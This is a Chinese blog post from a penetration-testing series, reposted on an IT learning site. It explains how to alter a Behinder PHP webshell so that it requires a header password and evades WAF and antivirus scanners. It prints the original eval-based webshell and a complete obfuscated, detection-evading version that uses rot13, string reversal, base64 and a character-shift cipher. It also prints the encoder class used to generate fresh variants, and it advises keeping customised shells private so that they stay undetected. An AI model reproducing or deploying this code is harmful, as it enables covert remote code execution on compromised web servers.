文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

改造冰蝎马,实现免杀之default_aes php

2023-09-01 12:28

关注

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

文章目录

文章目录

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)——各种木马的生成及简单的免杀
  23. MSF(3)——apk和exe的加马(过360、火绒)
  24. 通过Frp解决实现内网穿透

前言

之前发的免杀文章有人说失效了。确实失效了。shellcode的免杀失效了,webshell的免杀被杀了。按理说我应该把之前的文章删掉。但是我不仅没有删,还开了一个专栏叫免杀。因为免杀这种东西,就是提供一个思路。你顺着这个思路,自己对你的shellcode或者webshell进行改造。然后不要发到网上去。发到网上去就会被waf的爬虫找到,然后你的免杀就失效了。我在写之前的文章就料到有这样一天。免杀还是靠自己的编程基础来实现,网上的就是提供一个思路,这篇文章中提供的webshell也可能很快就会失效,和waf作战本就是艰苦卓绝。只有举一反三,求本逐妙,才能在与waf的战斗中得胜。

最近喜欢用冰蝎,因为它比较强。但是免杀效果不太行。本文以php webshell的default_aes编码器为例,实现密码验证和免杀实现。

效果

先看下原本的webshell

@error_reporting(0);function Decrypt($data){$key="e45e329feb5d925b"; //¸ÃÃÜԿΪÁ¬½ÓÃÜÂë32λmd5ÖµµÄÇ°16λ£¬Ä¬ÈÏÁ¬½ÓÃÜÂërebeyondreturn openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);}$post=Decrypt(file_get_contents("php://input"));    eval($post);?>

WEBDIR
在这里插入图片描述
D盾
在这里插入图片描述

再看下免杀之后的马子
D盾
在这里插入图片描述
WEBDIR
在这里插入图片描述
可见免杀效果是非常的好

目标

两个目标

1. 实现密码验证功能
2. 实现免杀

密码验证功能

直接生成的马子,是没有密码验证功能的,用冰蝎连接的时候输链接就可以了
在这里插入图片描述
也是非常的捞。

但是我们可以指定请求头,这样我们就可以从请求头下手。

首先查看源代码
在这里插入图片描述
先定义了一个函数,接着获取请求内容,解密,接着直接eval执行。

可以蒙到核心代码是这两行
在这里插入图片描述
只要再这两行代码前加上密码验证的语句就ok了。

例如,我要验证请求头中Pass的内容是否为password

先获取请求头中是否存在Pass段,若存在则进入验证。
改造之后是这样

$b=0;if (array_key_exists('Pass',apache_request_headers())) {    $b=apache_request_headers()['Pass']==='password';}if ($b) {    $post = Decrypt(file_get_contents("php://input"));    eval($post);}

当然也可以自己修改,注意大小写,Pass第一位必须大写,否则识别不了。

这样修改之后,在连接时要在请求头处设置内容。
在这里插入图片描述
当然也可以自行修改你的密码。

免杀

先把免杀后的webshell贴出来。

 error_reporting(0);function d($a){    return openssl_decrypt(base64_decode($a), base64_decode(strrev(str_rot13('=V0DS1PBlRGYGIHD'))), base64_decode(str_rot13('MGD1MGZlBJ') . strrev('==gY1ITOkVjYlZ')), OPENSSL_PKCS1_PADDING);}function p($k){    $s = 0;    foreach (str_split($k) as $a) {        foreach (str_split(ord($a) . "") as $b) {            $s += $b;        }    }    while (10 > $s && $s < 100) {        if (10 < $s) $s = $s * 2; else $s = $s / 3;    }    return $s;}function a($b){    $r = "";    foreach (str_split(base64_decode($b)) as $s) {        $r .= chr(ord($s) - p("dvcqazjiomk"));    }    return $r;}$p = d('IHwa8t2BcjZISwq2jfqEHw==');$f = 0;if (array_key_exists('Pass', apache_request_headers())) $f = apache_request_headers()['Pass'] === $p;if ($f) $c = a('vMu+us2+uL/Ox7zNwsjH')("", a('vs+6xYG9gb/Cxb64wL7NuLzIx82+x83Mgb2Be5GywMKqx4zTs6C7s8TFqNGIrsSIitCWlnuCgoKClA=='));$c(); ?>

使用时请指定请求头为:Pass:password

写到这里突然不想写了,大概讲一下。

d()函数是aes解密函数,里面的字符串我做了一点小小的处理。

p()函数是辅助函数,传入一个字符串会返回一个10到100之间的整数。

a()函数是解密函数,把加密后的代码进行解密。里面的kiocpmg是密钥。可以自己改。

简单来说就是把里面的字符串加密了,然后混淆视听,让waf认不出来。

把加密算法也贴一下吧,密钥改一下就可以让代码改头换面了。反正核心还是一样。

class Cipher{    public static $key = 'abcdefg';    function parse($key)    {        $s = 0;        foreach (str_split($key) as $a) {            foreach (str_split(ord($a) . "") as $b) {                $s += $b;            }        }        while (10 > $s && $s < 100) {            if (10 < $s) $s = $s * 2;            else $s = $s / 3;        }        return $s;    }    function en($data)    {        $res = "";        foreach (str_split($data) as $s) {            $res .= chr(ord($s) + self::parse(self::$key));        }        return base64_encode($res);    }    function de($data)    {        $res = "";        $data = base64_decode($data);        foreach (str_split($data) as $s) {            $res .= chr(ord($s) - self::parse(self::$key));        }        return $res;    }}

后话

还是那句话,网上的免杀就是看个热闹,真要免杀还是要自己动手。

来源地址:https://blog.csdn.net/realmels/article/details/128354530

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯